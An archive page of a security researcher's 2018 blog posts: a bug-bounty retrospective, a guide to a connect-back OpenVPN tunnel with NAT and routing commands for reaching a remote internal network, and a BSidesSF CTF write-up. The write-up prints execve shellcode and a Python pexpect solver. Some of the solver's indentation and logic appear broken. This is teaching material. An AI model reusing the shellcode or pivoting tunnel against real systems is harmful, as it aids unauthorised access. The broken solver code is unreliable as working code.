Archives

All posts for the month May, 2018

About a yer ago my friend/coworker and I started a monthly hacker meet up called The Dark Corner (https://www.meetup.com/The-Dark-Corner). At the meet up I met a bug hunter named Mike (https://twitter.com/taksec). A few months ago he helped renew my interest in bug bounties which had waned after all my submissions to both bugcrowd and hackerone turned out to be duplicates. This included an issue where it was possible to read arbitrary files as the root user on of the servers (https://hackerone.com/reports/130661).

Mike let me know about the self managed public bug bounty program for Alibaba, on which he had already been rewarded for some pretty severe issues. He was kind enough to share with me some of his recon which included a nice set of domains to get started looking at. Alibaba doesn’t publish a scope but basically all their business units are in scope, which according to one email the security team sent me consists of 100+ domains.

I found my first bug pretty quickly. Another dupe!!! I was definitely ready to swear off bug bounties for good at this point! However, getting to see Mike’s experience with the program first hand, and having his encouragement I kept looking. That would be last dupe.

Since February I have had exactly 66 reports accepted by Alibaba and risen to the #1 spot on the scoreboard. This experience has been a lot of fun and very rewarding, not only monetarily, but in terms of helping me become a better hacker.

So with all that said I want give a big thanks to Mike, Fabius, Luis, Allen, Illumant (https://www.illumant.com), and everyone who has given me support and guidance getting to this point.

https://security.alibaba.com

 

Have you ever wanted to be on the same network segment as a remote computer that you aren’t on the same segment as :p?? Well you can be, with the magic of connect back VPN tunneling!

Without any further ado, here’s my how-to guide.

Server Config

1. Install OpenVPN Access Server on an internet facing system, some sort of VPS will do nicely.

2. Log in to the management interface, which listens on port 943 https://example.com:943/admin/

3. Go to “VPN Settings” (https://example.com:943/admin/vpn_settings) and take note of the “Network Address” value. This is the one network you will not be able to use the tunnel to connect to due to it already being used up by the VPN. I have chosen an address in 172.16.0.0/12 address space because in my experience it is less commonly used on client networks compared to 10.0.0.0/8 or 192.168.0.0/16 address space. To date, I have not had a collision of address space.

4. Go to “User Permissions” (https://example.com:943/admin/user_permissions) and create a user which will be used to connect to the VPN from the remote site (the place that you want to be on same segment as, but from your home)

5. In the “More Settings” column for this user click “Show”. Set “Allow Access To these Networks” and “Allow client to act as VPN gateway
for these client-side subnets” as shown:

Here it is in text format in case anyone wants to copy/paste:

10.0.0.0/8
192.168.0.0/16
172.16.0.0/16
172.17.0.0/16
172.18.0.0/16
172.19.0.0/16
172.20.0.0/16
172.21.0.0/16
172.22.0.0/16
172.23.0.0/16
172.24.0.0/16
172.25.0.0/16
172.26.0.0/16
172.28.0.0/16
172.29.0.0/16
172.30.0.0/16
172.31.0.0/16

Note that these are all the networks except for the network used by the VPN itself (172.27.0.0/16 in my case). This means that the user we are modifying and route traffic for these networks.

6. Make sure to save your settings, this is it for server set up.

Client Config

1. From your local machine, connect to the VPN as a normal user, not the user that was just configured to do forwarding.

2. On the remote machine connect as the forwarding user that we just set up.

3. Now for the fun part, and the reason I wrote this post. After connecting as the forwarding user we need to actually configure the machine to act as a NAT point. I’ve only found a couple people on the internet talking about how to do this. Namely, the guys at Offensive Security and Hak5. Here’s the material they published that helped me get started:

Unfortunately for me when trying to follow their guides I wasn’t ever able to get it completely working. The trick for me was to set a lower priority metric on the VPN gateway, and set a higher priority on the remote machines local default gateway.

<vpn-network-address> – The network address of the VPN (see step 3 in server config). Mine is 172.127.224.0/24.

<bridged-inteface> – Interface name of a bridged adapter that has an IP on the network you’re trying to tunnel to

<local-gateway> – The non-VPN default gateway for the remote machine, the one that we will be tunneling through

<vpn-gateway> – The VPN default gateway. In my case this is 172.27.224.1 since my network address is 172.127.224.0

# enable ip forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward 
# create NAT point
iptables -t nat -A POSTROUTING -s <vpn-network-address> -o <bridged-interface> -j MASQUERADE 
# remove the route for the VPN gateway
route del -net 0.0.0.0/1 gw <vpn-gateway>            
# add it back but with a lower priority metric
route add -net 0.0.0.0/1 gw <vpn-gateway> metric 200 
# for all the networks we want reach through the tunnel
# set the gateway to be the local gateway with a metric of 0
# This is the highest priority metric and will take priority over the vpn gateway
route add -net 10.0.0.0/8 gw <local-gateway> metric 0
route add -net 192.168.0.0/16 gw <local-gateway> metric 0
route add -net 172.16.0.0/16 gw <local-gateway> metric 0
route add -net 172.17.0.0/16 gw <local-gateway> metric 0
route add -net 172.18.0.0/16 gw <local-gateway> metric 0
route add -net 172.19.0.0/16 gw <local-gateway> metric 0
route add -net 172.20.0.0/16 gw <local-gateway> metric 0
route add -net 172.21.0.0/16 gw <local-gateway> metric 0
route add -net 172.22.0.0/16 gw <local-gateway> metric 0
route add -net 172.23.0.0/16 gw <local-gateway> metric 0
route add -net 172.24.0.0/16 gw <local-gateway> metric 0
route add -net 172.25.0.0/16 gw <local-gateway> metric 0
route add -net 172.26.0.0/16 gw <local-gateway> metric 0
route add -net 172.28.0.0/16 gw <local-gateway> metric 0
route add -net 172.29.0.0/16 gw <local-gateway> metric 0
route add -net 172.30.0.0/16 gw <local-gateway> metric 0
route add -net 172.31.0.0/16 gw <local-gateway> metric 0

Voila! If all went well the tunnel should be working now.

Troubleshooting

Ever since I figured out the issue of decreasing the priority on the route of VPN gateway this set up works for me first 99% of the time. Alas, sometimes there are problems.

Often times when there is an issue packets are making it to the forwarding host, but they don’t get routed properly from there. Whenever I’m having problems with my VPN tunnel the first thing I do is fire up tcmp dump like so:

tcpdump -nni any icmp

This just says to listen on all interfaces for ICMP packets, and to not resolve IP addresses or port numbers. The next thing I’ll do is from my local machine try to ping one of the internal IPs that I want to tunnel to. I was having an issue recently and started troubleshooting in just this very way. Here’s what I saw:

So I could see the forwarding host was successfully receiving the packets from my local machine over the VPN connection, and was forwarding them to the correct target IP. At first I thought maybe something went wrong with the NAT configuration, since the packets were being sent out but not coming back. I tried redoing my whole set up but was faced with the same problem. Then I realized the ping packets I was sending out were being duplicated by the forwarding host, as I have outlined above. For every 1 ICMP echo request I was sending from my local machine, 2 were being sent by the forwarding host. I’m not sure why this was happening, but there were 3 bridged interfaces on this virtual machine, all with valid IPs. I disabled all but the one I had specifically configured as the NAT interface and things started working again.

If memory serves I have done this before with multiple bridged interfaces and haven’t had a problem but anyway, having just one did the trick in this case.

Hope this helps somebody out there. Please leave comments with questions or suggestions.

Last month was BSidesSF 2018. This was my first BSides and I’ll say I thought the con was really well done. The location was cool, the vendor area had plenty of free goodies, and the CTF was a lot of fun. There were quite a few people from Dark Corner which was awesome to see. A group of us spent a large portion of time at the conference playing the CTF and our team finished in 7th out of abobut 145 teams! This post is going to cover my solution for one of the 666 point challenges called goribble.c.

Our goal is to “exploit” this program to read the /home/ctf/flag.txt file on the ctf server. The code is meant to be compiled into a 32 bit ELF binary and even though NX is enabled the -fno-stack-protector flag is used to make the stack executable:

Upon execution it turns about to be a game where you manually enter a power and angle value and then a launch something (a potato?) and see where it lands.

The nibble you land on is a nibble of shellcode that will be stored and executed when you finally miss shot by not landing on any nibble. After every turn the layout of nibbles is randomly altered and a wind factor is applied which must be taken into consideration when firing the potato.

The first order of business was to construct a shellcode that would get the job done. I headed over to shell-storm.org knowing that they would have something for me. This one would get the job done, the only change required to change the argument to the cat command to /home/ctf/flag.txt instead of /etc/passwd.


#include &lt;stdio.h&gt;

const char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx

/* pushes /etc/passwd onto the stack
* we don't want/need this
*"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
*"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
*"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
*/

// pushes ///home/ctf/flag.txt onto the stack
"\x68\x2e\x74\x78\x74" // push ".txt"
"\x68\x66\x6c\x61\x67" // push "flag"
"\x68\x63\x74\x66\x2f" // push "ctf/"
"\x68\x6f\x6d\x65\x2f" // push "ome/"
"\x68\x2f\x2f\x2f\x68" // push "///h"

"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h

int main()
{
(*(void (*)()) shellcode)();

return 0;
}

I created /home/ctf/flag.txt on my local system and tested the shellcode which worked like a charm.

At first I very foolishly attempted to win by actually playing the game. I took shots repeatedly and figured out power/angle values that would get me on the nibble I wanted most of the time. At this time I was hoping the wind factor could be ignored. Once I finally had values mapped out for each value I set out to actually start building my shellcode but realized that although they got me where I wanted most of the time that wasn’t going to be good enough. This was going to have to be automated.

I was a little intimidated about having to interact with this program through screen scraping but this actually turned out to be incredibly easy thanks to a python module called pexpect. The first step in this process was to create a would scrape the nibble values into a list, this way we could know which position we needed to aim for. After I knew which position to hit it was necessary to calculate the power/angle values that would get the potato there. I decided to work smarter lazier and basically copy paste the code from the game that determines where the potato will land into a function in python. I added the code to scrape the game for the wind value, then with the wind taken into consideration I could brute force the necessary power and angle values by incrementing them until the potato landed in the right spot.

This approach worked and we were able to get the points for this challenge! Here I’ll share my full solution which is not cleaned up in any way, and even still contains the hard coded values from my initial futile attempt at solving the challenge.


import pexpect
import logging
import math
import time

logging.basicConfig(filename='fake-log.txt',level=logging.DEBUG)
logging.FileHandler('fake-log.txt', mode='w')
logging.debug('This message should go to the log file')

# power = ("100", "100", "150", "250", "230", "290", "320", "340", "340", "375", "375", "425", "395", "450", "500", "525")
# angle = ("10", "30", "20", "10", "13", "10", "10", "10", "11", "10", "12", "10", "12", "10", "8", "8")
shellcode = "31c09952682f636174682f62696e89e352682e74787468666c6167686374662f686f6d652f682f2f2f6889e1b00b52515389e1cd80"

def getNibbles(nibbles):
split = 8 # number of chars between each nibble
count = 0
nibblePositions = list()
for i in nibbles:
count += 1
#print "count: {}, nibble: {}".format(count, nibbles[count:count+1])
if count % split == 0:
nibblePositions.append(nibbles[count:count+1])
#print "nibble is: " + nibbles[count:count+1]
return nibblePositions

def rad(x):
#x = int(x)
return (x * 3.1415926 / 180)

def frange(start, end, step):
tmp = start
while(tmp &lt; end):
yield tmp
tmp += step

def shoot(wind, power, angle):
 wind = float(wind)
 power = int(power)
 angle = int(angle)
 BOARD_WIDTH = 136
 BOARD_HEIGHT = 64
 PRIZE_COUNT = 16
 MAX_WIND = 200
 GRAVITY = (-9.8)
 SCALE = (5000 / 80)
 TIME_SCALE = (0.4) 
 PRIZE_COUNT = 16

 v0_v = math.sin(rad(angle)) * power
 v0_h = math.cos(rad(angle)) * power

 for t in frange(0, 10000, TIME_SCALE):
  #print t
  p_v = (((0.5 * t**2 * GRAVITY) + (t * v0_v)) / SCALE)
  p_h = (((0.5 * t**2 * (wind / 50)) + (t * v0_h)) / SCALE) + 4
  if p_v &lt; 0:
   result = int((p_h / 8) - 1)
  if (result &lt; 0 or result &gt;= PRIZE_COUNT):
   return -1
 return result # the position that we hit

def getPowerAngle(wind, position):
 start = time.time()
 for power in range(100, 1000):
  for angle in range(10, 360):
   hit = shoot(wind, power, angle)
   if hit == position: # we found a winning combo
    end = time.time()
   print "calculated power/angle in {} seconds".format(end - start)
 return (power, angle)

#print "test is: " + child.after[2:-2]
"""U | 0 | 1 | b | 5 | 2 | 9 | f | 4 | a | 3 | d | 7 | 6 | e | c | 8 |"""
while True:
 code = "" #the code we're building

 logging.debug("(re)starting goribble")
 print "(re)starting goribble"
 child = pexpect.spawn ('./goribble')

 for i in shellcode:
  needed = i # the nibble that we need to grab
  wind = ""
  hit = "" # the nibble that we actually hit

  child.expect("Wind.*")
  wind = child.after
  logging.debug("unparsed wind is: " + wind)
  wind = float(wind[6:(wind.find('.') + 6)])
  logging.debug("wind is: " + str(wind))

  logging.debug("need nibble is: " + i)

  child.expect("YOU.*Y") # regex to get the nibbles
  logging.debug("nibbles is: " + child.after[5:-2])

  nibbles = child.after[1:-2] # the nibbles as printed out by the game
  nibbles = getNibbles(nibbles) # parsing the games nibbles into our own list
  position = nibbles.index(needed) # find the position in our list of the needed nibble
  logging.debug("needed position is: {}".format(position))

  # now that we know the wind, and needed position
  # we can proceed to bf the needed power/angle
  powerAngle = getPowerAngle(wind, position)
  power = powerAngle[0] + 2
  angle = powerAngle[1]

  child.expect("Power ")
  #child.sendline(str(int(power[position]) - (wind/10))) # send the power value that corresponds witht he nibble position
  child.sendline(str(power))
  logging.debug("power = {}".format( power))

  child.expect("Angle ")
  #child.sendline(angle[position])
  child.sendline(str(angle))
  logging.debug("angle = {}".format(angle))

  child.expect("Congratulations.*")
  #hit = child.after
  #logging.debug("After is: " + hit)
  hit = child.after[36:37] # find out the nibble we actually hit
  logging.debug("hit is: " + hit)

  if (hit != needed):
   child.close()
   break # means that our power/angle sux

  child.sendline()
  code += hit
  print "current shellcode is: {}".format(code)

# time 2 segfaulAt
"""
child.expect("Power ")
child.sendline()
child.expect("Angle ")
child.sendline()
"""
  child.interact()